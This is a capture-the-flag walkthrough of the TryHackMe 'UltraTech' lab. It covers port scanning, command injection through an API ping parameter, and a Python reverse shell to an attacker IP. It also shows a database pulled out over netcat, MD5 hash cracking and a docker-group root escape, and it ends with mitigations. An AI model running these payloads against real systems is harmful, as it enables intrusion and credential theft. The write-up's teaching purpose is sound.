---
description: >-
  Exploiting an exposed API endpoint and weak password hashes before escalating
  via docker.
---

# THM - UltraTech

| Room  | UltraTech                                                                      |
| ----- | ------------------------------------------------------------------------------ |
| OS    | :penguin: Linux                                                                |
| Level | <mark style="color:yellow;">**Medium**</mark>                                  |
| Link  | [https://tryhackme.com/room/ultratech1](https://tryhackme.com/room/ultratech1) |

## Reconnaissance

Starting out with the initial port scan for the target host `ultratech.thm` we find four open ports.

![](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FwvQ3zuUacgjKinsGcBW4%2Fultratech-portscan.png?alt=media\&token=5d879659-c012-478f-91ac-65624eefdd7e)

Looks like `ftp`, `ssh` and some webserver maybe? We'll determine what services are running on these ports with a more in-depth `nmap` scan.

{% tabs %}
{% tab title="Command" %}
```
sudo nmap -Pn -A ultratech.thm -p21,22,8081,31331 --script=default,vuln
```
{% endtab %}

{% tab title="Output" %}
```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
|   256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
|_  256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
| vulners: 
|   cpe:/a:openbsd:openssh:7.6p1: 
|     	EXPLOITPACK:98FE96309F9524B8C84C508837551A19	5.8	https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19	*EXPLOIT*
|     	EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	5.8	https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	*EXPLOIT*
|     	EDB-ID:46516	5.8	https://vulners.com/exploitdb/EDB-ID:46516	*EXPLOIT*
|     	EDB-ID:46193	5.8	https://vulners.com/exploitdb/EDB-ID:46193	*EXPLOIT*
|     	CVE-2019-6111	5.8	https://vulners.com/cve/CVE-2019-6111
[REDACTED for brevity]
|     	CVE-2019-6109	4.0	https://vulners.com/cve/CVE-2019-6109
|     	CVE-2018-20685	2.6	https://vulners.com/cve/CVE-2018-20685
|     	PACKETSTORM:151227	0.0	https://vulners.com/packetstorm/PACKETSTORM:151227	*EXPLOIT*
|     	MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-	0.0	https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-	*EXPLOIT*
|_    	1337DAY-ID-30937	0.0	https://vulners.com/zdt/1337DAY-ID-30937	*EXPLOIT*
8081/tcp  open  http    Node.js Express framework
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31331/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 10
| vulners: 
|   cpe:/a:apache:http_server:2.4.29: 
|     	CVE-2022-31813	7.5	https://vulners.com/cve/CVE-2022-31813
|     	CVE-2022-23943	7.5	https://vulners.com/cve/CVE-2022-23943
|     	CVE-2022-22720	7.5	https://vulners.com/cve/CVE-2022-22720  
[REDACTED for brevity]
|     	CVE-2018-11763	4.3	https://vulners.com/cve/CVE-2018-11763
|     	4013EC74-B3C1-5D95-938A-54197A58586D	4.3	https://vulners.com/githubexploit/4013EC74-B3C1-5D95-938A-54197A58586D	*EXPLOIT*
|     	1337DAY-ID-35422	4.3	https://vulners.com/zdt/1337DAY-ID-35422	*EXPLOIT*
|     	1337DAY-ID-33575	4.3	https://vulners.com/zdt/1337DAY-ID-33575	*EXPLOIT*
|     	CVE-2018-1283	3.5	https://vulners.com/cve/CVE-2018-1283
|_    	PACKETSTORM:152441	0.0	https://vulners.com/packetstorm/PACKETSTORM:152441	*EXPLOIT*
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-enum: 
|   /robots.txt: Robots file
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.10 (92%), Linux 3.12 (92%), Linux 3.18 (92%), Linux 3.19 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```
{% endtab %}
{% endtabs %}

Port 8081 seems to feature Node.js while on port 31331 we find an Apache webserver (v2.4.29). Before we dive into these, we can check for low hanging fruits by attempting anonymous FTP login and looking for information within an SSH banner. However, neither yields anything interesting so we take a closer look on the two higher ports.

## Service Enumeration

### 8081 - Node.js

The `nmap` scan didn't give us much to work with so we'll have a quick look at the site in a browser before continuing enumeration.

![UltraTech features an API on port 8081](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FQ5u84nfGPFd8LqGwMfZT%2Fultratech-api.png?alt=media\&token=15770354-b0a3-471b-89f4-796fe512262e)

Fair enough, we got some sort of application programming interface. At this point we could start to enumerate available api endpoints with tools like `wfuzz` _or_ we continue with the webserver and come back to this in case the webserver had nothing to do with it.

### 31331 - Apache

The website appears to be filled with very little content and offers very little interaction. Besides scrolling and clicking a few buttons there isn't much to investigate. A `gobuster` scan to find potential backup files and the like seems like a good idea but `nmap` (with its module `http-enum`) already showed a few results that we'll cover.

```
|   /robots.txt: Robots file
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
```

The contents of `robots.txt` ultimately lead us to a `partners.html` which displays a login form. Unfortunately, both an email and a password are required - both of which we don't have.

Navigating through the other directories however, `/js` stands out. In here we find a file called `api.js` with an interesting piece of code:

![api.js](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F7TjjMQdH9SJdcpeonyAr%2Fultratech-js-api.png?alt=media\&token=2d0768eb-1c54-43c2-8ade-b9b12b960259)

Inside the function `checkAPIStatus` a GET request is made to `ultratech.thm:8081/ping?ip=<window.location.hostname>`. When we attempt this request manually we'll quickly see that the server actually attempts to ping the specified ip.

![We successfully capture an ICMP echo request after making a call to the API with our IP as target](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FvIT2uqGMipaQFEWbyofb%2Fultratech-api-ping.png?alt=media\&token=023c25a2-c711-412a-9b99-b07648e0ae3a)

We can now check for command injection by trying different payloads for the `ip` parameter. Things to try include `$() | ; &&` etc. - but what turns out to work reliably are the backticks `` ` ``.

## Initial Access

![With URL encoded backticks (%60) we get remote code execution](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FOf2fzlcT0y9xtxKSvEiY%2Fultratech-command-injection.png?alt=media\&token=cd3857d7-5c26-4e43-8407-27d89b21f957)

Note that all `;` will be removed from our input and the standard bash reverse shell didn't seem to work first try. Since `which python3` reveals that Python is installed on the target, we can upload a simple reverse shell piece by piece and execute it with the following payloads for the `ip` parameter (keeping the URL encoding in mind when using `curl`).

```
echo "import socket,os,pty" > /tmp/rev
echo "s=socket.socket()" >> /tmp/rev
echo "s.connect(('10.9.249.139',4444))" >> /tmp/rev
echo "[os.dup2(s.fileno(),fd) for fd in (0,1,2)]" >> /tmp/rev
echo "pty.spawn('/bin/sh')" >> /tmp/rev

python3 /tmp/rev
```

![Reverse shell as the www user](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F4Uf5B0FnjfPdApOPlaWR%2Fultratech-reverse-shell.png?alt=media\&token=4e8646a3-91ab-4458-81dd-9360125890cd)

{% hint style="success" %}
We successfully gained shell access to the server as the `www` user.
{% endhint %}

## Privilege Escalation

The next step in our way to `root` is enumeration of the target. Listing the files in our home directory we almost immediately find an `sqlite` database. Extracting it to our attacker machine with `cat utech.db.sqlite | nc 10.9.249.139 5555` (having set up the corresponding listener of course) we can analyse this database in peace.

![Extracting usernames and password hashes from an sqlite database](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2F9stKdmRSFQZHLnDiLDPm%2Fultratech-database.png?alt=media\&token=106ac392-924d-4cfc-87d8-176dfd4fc066)

It doesn't contain much but we do retrieve two users and their respective password hashes. A look into the `/etc/passwd` reveals that `r00t` is also a user on the target box so his password could be of special interest to us.

Pasting it into a file called `r00t-hash` we can analyse it with `haiti` to find out it's an MD5 hash so we subsequently attempt to crack it with `john` and `rockyou.txt`.

```bash
└─$ john -w=/usr/share/wordlists/rockyou.txt r00t-hash --format=raw-md5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]          (?)  
```

We test the password with `su r00t` and succeed.

{% hint style="success" %}
We have now successfully escalated our privileges to `r00t`.
{% endhint %}

One final step remains though. The output of `id` shows that we do not have `root` privileges yet.

Instead, we see that the user `r00t` is part of the `docker` group. We can check if there are any docker containers or images on the machine with `docker ps` and `docker images` and discover that indeed a docker image called `bash` exists.

Both [GTFOBins](https://gtfobins.github.io/gtfobins/docker/) and Google can tell us how to exploit this. The idea is simple: we spawn an instance of this container with an interactive shell and mount the `root` of the host OS to a directory inside the container. Once we spawn a `root` shell in the container we have access to the entire file system of the host OS with `root` permissions via that mount.

`docker run -v /:/mnt --rm -it bash chroot /mnt bash`

![Gaining access to the root directory via docker](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FNDiCNVva6AN0dbhS8TrU%2Fultratech-root.png?alt=media\&token=aafe1df7-bc92-4620-8d5b-b7178bbd2da7)

{% hint style="success" %}
We have now successfully compromised the `root` user. Note that the flag for this box is actually the first few characters of `root`s  SSH key and not this `private.txt`.
{% endhint %}

Of course, if we wanted to gain shell access _as_ `root` on the host OS we could just do `chmod +x /mnt/bin/bash` and exit the docker container. Then, executing `/bin/bash -p` will spawn us a privileged shell.

## Mitigations

The author of the room gave this description:

> _This room is inspired from real-life vulnerabilities and misconfigurations I encountered during security assessments._

So what are some of the things that went wrong on this server that could be fixed?

* The API should not be exposed publicly (if it's not necessary)
* No matter if exposed or not, the API has severe security issues that should be addressed immediately
  * Do not trust the supplied parameters to always be benign (even on internal networks)
* Weak passwords, weak hashing algorithm and weak protection of sensitive files
  * The database with important credentials was easily discovered and not protected
  * The password hashes were stored with a rather weak hashing algorithm (MD5)
  * The passwords were too short (<8 characters) and found in a common wordlist
  * Improvements would be: encryption at rest, stronger hashing agorithms (making brute force attacks less feasible), enforcing a stronger password policy
* Apply principle of least privilege (did `r00t` have to be part of the `docker` group?)
